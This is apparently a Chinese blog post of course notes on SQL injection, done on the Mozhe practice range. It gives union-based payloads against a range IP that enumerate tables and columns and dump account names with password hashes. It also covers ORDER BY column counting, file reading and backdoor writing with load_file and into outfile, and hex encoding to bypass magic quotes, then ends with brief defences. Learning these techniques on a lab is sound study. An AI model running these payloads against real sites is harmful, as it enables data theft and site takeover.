WEB漏洞—简要SQL注入(22号-23号)
前言:在本系列课程学习中,SQL注入漏洞将是重点部分,其中SQL注入又非常复杂,区分各种数据库类型,提交方法,数据类型等注入,需要按部就班的学习,才能学会相关SQL注入的核心。同样此类漏洞是WEB安全中严重的安全漏洞,学习如何利用,挖掘,修复也是很重要的。
SQL注入安全测试中危害:危害数据和网站权限
大部分sql注入都是直接去对数据库里的数据进行操作,包括查询,更新,删除
某一些sql注入的时候,通过漏洞可以直接进行后门写入,有一些能获取权限,一些不能。
如何判断注入点
老办法:
id=1 and 1=1 页面正常
id=1 and 1=2 页面错误
可能存在注入点
新方法
id=1ahjdwo 页面错误
可能存在注入点
id=1asdjalj 页面正常
不存在注入点
若出现404错误或者跳转,说明网站对输入的东西有检测,这种情况大部分是没有漏洞的
数据库结构
数据库A
表名
列名
数据
要获取数据,必须按部就班,从表名>列名>数据一步一步来,不能直接获取到数据
必要知识点
1. 在MySQL 5.0以上版本中,mysql存在一个自带的数据库名为information_schema,它是一个存储所有数据库名,表名,列名的数据库,也相当于可以通过它查询获取制定数据库下面的表名或者列名信息。
2. 数据库中符号“.”代表下一级,如xiaodi.user表示xiaodi下的user表名。
information_schema.tables 记录所有表名信息的表
information_schema.columns 记录所有列名信息的表
table_name 表名
column_name 列名
table_schema 数据库名
查询指定数据库名mozhe_Discuz_StormGroup下的表名
124.70.22.208:41567/new_list.php?id=1 and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
查询到表名StormGroup_member
查询指定表名StormGroup_member下的列名
124.70.22.208:41567/new_list.php?id=1 and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
查询到列名id,name,password,status
从表StormGroup_member中查询name,password下的数据
124.70.22.208:41567/new_list.php?id=1 and 1=2 union select 1,name,password,4 from StormGroup_member
查询到账号和密码
mozhe 356f589a7df439f6f744ff19bb8092c0
猜解多个数据采用limit x,1 变动猜解 x是变量
mozhe e53f4512ea73eb2e23462f8e155245df
判断注入
猜解列名数量(字段数) order by x 错误与正确的正常值
http://124.70.22.208:41567/new_list.php?id=1 order by 4
猜解准备:
http://124.70.22.208:41567/new_list.php?id=1 union select 1,2,3,4
http://124.70.22.208:41567/new_list.php?id=1 and 1=2 union select 1,2,3,4
信息收集:(在mozhe靶场上实验)
数据库版本:version() 5.7.22-0ubuntu0.16.04.1
数据库名:database() mozhe_Discuz_StormGroup
数据库用户:user() root@localhost
操作系统:@@version_compile_os Linux
文件读取操作
load_file() 读取函数
into outfile 或者 into dumpfile 导出函数
路径获取常见方法
报错显示,遗留文件,漏洞报错,平台配置文件,爆破等
报错显示:一般是在网站出现错误时会泄露出文件路径
遗留文件:类似于phpinfo.php,一般是站长为了调试信息时遗留的文件,上面会遗留网站路径
平台配置文件:一般是固定路径,可以通过查找相应平台配置文件来查找路径,但修改后很难找到
爆破:以上情况搞不了时才操作。
用into outfile 或者 into dumpfile写入文件,可以借此写入后门文件
常见写入文件问题:
魔术引号开关magic_quote_gpc
若开关是On,则单引号(’)、双引号(”)、反斜线()与 NUL(NULL 字符)等字符都会被加上反斜线。可以在此处修改开关状态
采用hex(16进制)编码绕过,因为对路径进行编码之后魔术引号不会再对其生效也就是说绕过了魔术引号的作用达到绕过。
内置函数int:对输入的数字进行判断是否
自定义关键字:select
str_replace替换
直接上WAF!!!
__EOF__

本文链接:https://www.cnblogs.com/Zx0906/p/17419695.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】